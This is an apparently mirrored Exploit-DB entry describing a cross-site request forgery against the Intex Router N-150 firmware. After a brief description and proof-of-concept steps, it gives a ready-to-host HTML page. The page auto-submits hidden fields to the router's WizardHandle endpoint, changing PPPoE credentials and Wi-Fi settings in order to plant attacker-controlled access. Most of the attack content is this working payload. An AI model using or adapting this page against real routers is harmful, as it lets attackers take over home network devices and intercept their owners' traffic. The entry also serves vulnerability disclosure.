Intex Router N-150 – Cross-Site Request Forgery (Add Admin)

  • 作者： Samrat Das
    日期： 2018-06-25
  • 类别：
    平台：
  • 来源：https://www.exploit-db.com/exploits/44933/
  • # Exploit Title:​​ Intex Router N-150 - Cross-Site Request Forgery (Add Admin)
# Date: 2018-06-23
# Exploit Author: Navina Asrani
# Version: N-150
# CVE : N/A
# Category: Router Firmware

# 1. Description
# The firmware allows malicious request to be executed without verifying
# source of request. This leads to arbitrary execution with malicious request
# which will lead to the creation of a privileged user..

# 2. Proof of Concept
# Visit the application
# Go to any router setting modification page and change the values,
# create a request and observe the lack of CSRF tokens.
# Craft an html page with all the details for the built-in admin
# user creation and host it on a server
# Upon the link being clicked by a logged in admin user,
# immediately, the action will get executed
# Exploitation Technique: A attacker can create a rogue admin user to gain
# access to the application.

# Exploit code:
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://192.168.0.1/goform/WizardHandle" method="POST">
<input type="hidden" name="GO" value="index&#46;asp" />
<input type="hidden" name="v12&#95;time" value="1529768448&#46;425" />
<input type="hidden" name="WANT1" value="3" />
<input type="hidden" name="isp" value="3" />
<input type="hidden" name="PUN" value="testuser&#95;k" />
<input type="hidden" name="PPW" value="123456" />
<input type="hidden" name="SSID" value="testwifiap" />
<input type="hidden" name="wirelesspassword" value="00000000" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>